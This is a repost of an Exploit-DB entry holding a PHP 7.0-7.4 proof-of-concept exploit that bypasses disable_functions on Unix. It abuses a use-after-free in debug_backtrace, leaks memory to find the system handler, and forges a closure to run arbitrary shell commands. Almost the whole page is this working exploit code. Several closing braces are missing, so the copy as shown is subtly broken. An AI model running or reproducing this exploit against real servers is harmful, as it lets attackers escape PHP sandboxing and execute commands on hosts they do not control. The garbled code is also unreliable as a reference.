PHP 7.0 < 7.4 (Unix) - 'debug_backtrace' disable_functions Bypass

Exploit Database
112 阅读

作者： mm0r1

日期： 2020-01-30
类别：
- local
平台：
- php
来源：https://www.exploit-db.com/exploits/48072/

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<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)

# Bug: https://bugs.php.net/bug.php?id=76047

# debug_backtrace() returns a reference to a variable

# that has been destroyed, causing a UAF vulnerability.

# This exploit should work on all PHP 7.0-7.4 versions

# released as of 30/01/2020.

# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {

global $abc, $helper, $backtrace;

class Vuln {

public $a;

public function __destruct() {

global $backtrace;

unset($this->a);

$backtrace = (new Exception)->getTrace(); # ;)

if(!isset($backtrace[1]['args'])) { # PHP >= 7.4

$backtrace = debug_backtrace();

}

class Helper {

public $a, $b, $c, $d;

}

function str2ptr(&$str, $p = 0, $s = 8) {

$address = 0;

for($j = $s-1; $j >= 0; $j--) {

$address <<= 8;

$address |= ord($str[$p+$j]);

}

return $address;

}

function ptr2str($ptr, $m = 8) {

$out = "";

for ($i=0; $i < $m; $i++) {

$out .= chr($ptr & 0xff);

$ptr >>= 8;

}

return $out;

}

function write(&$str, $p, $v, $n = 8) {

$i = 0;

for($i = 0; $i < $n; $i++) {

$str[$p + $i] = chr($v & 0xff);

$v >>= 8;

}

function leak($addr, $p = 0, $s = 8) {

global $abc, $helper;

write($abc, 0x68, $addr + $p - 0x10);

$leak = strlen($helper->a);

if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

return $leak;

}

function parse_elf($base) {

$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);

$e_phentsize = leak($base, 0x36, 2);

$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {

$header = $base + $e_phoff + $i * $e_phentsize;

$p_type= leak($header, 0, 4);

$p_flags = leak($header, 4, 4);

$p_vaddr = leak($header, 0x10);

$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write

# handle pie

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;

$data_size = $p_memsz;

} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec

$text_size = $p_memsz;

}

if(!$data_addr || !$text_size || !$data_size)

return false;

return [$data_addr, $text_size, $data_size];

}

function get_basic_funcs($base, $elf) {

list($data_addr, $text_size, $data_size) = $elf;

for($i = 0; $i < $data_size / 8; $i++) {

$leak = leak($data_addr, $i * 8);

if($leak - $base > 0 && $leak - $base < $data_addr - $base) {

$deref = leak($leak);

# 'constant' constant check

if($deref != 0x746e6174736e6f63)

continue;

} else continue;

$leak = leak($data_addr, ($i + 4) * 8);

if($leak - $base > 0 && $leak - $base < $data_addr - $base) {

$deref = leak($leak);

# 'bin2hex' constant check

if($deref != 0x786568326e6962)

continue;

} else continue;

return $data_addr + $i * 8;

}

function get_binary_base($binary_leak) {

$base = 0;

$start = $binary_leak & 0xfffffffffffff000;

for($i = 0; $i < 0x1000; $i++) {

$addr = $start - 0x1000 * $i;

$leak = leak($addr, 0, 7);

if($leak == 0x10102464c457f) { # ELF header

return $addr;

}

function get_system($basic_funcs) {

$addr = $basic_funcs;

do {

$f_entry = leak($addr);

$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system

return leak($addr + 8);

}

$addr += 0x20;

} while($f_entry != 0);

return false;

}

function trigger_uaf($arg) {

# str_shuffle prevents opcache string interning

$arg = str_shuffle(str_repeat('A', 79));

$vuln = new Vuln();

$vuln->a = $arg;

}

if(stristr(PHP_OS, 'WIN')) {

die('This PoC is for *nix systems only.');

}

$n_alloc = 10; # increase this value if UAF fails

$contiguous = [];

for($i = 0; $i < $n_alloc; $i++)

$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');

$abc = $backtrace[1]['args'][0];

$helper = new Helper;

$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {

die("UAF failed");

}

# leaks

$closure_handlers = str2ptr($abc, 0);

$php_heap = str2ptr($abc, 0x58);

$abc_addr = $php_heap - 0xc8;

# fake value

write($abc, 0x60, 2);

write($abc, 0x70, 6);

# fake reference

write($abc, 0x10, $abc_addr + 0x60);

write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);

if(!($base = get_binary_base($binary_leak))) {

die("Couldn't determine binary base address");

}

if(!($elf = parse_elf($base))) {

die("Couldn't parse ELF header");

}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {

die("Couldn't get basic_functions address");

}

if(!($zif_system = get_system($basic_funcs))) {

die("Couldn't get zif_system address");

}

# fake closure object

$fake_obj_offset = 0xd0;

for($i = 0; $i < 0x110; $i += 8) {

write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));

}

# pwn

write($abc, 0x20, $abc_addr + $fake_obj_offset);

write($abc, 0xd0 + 0x38, 1, 4); # internal func type

write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();

}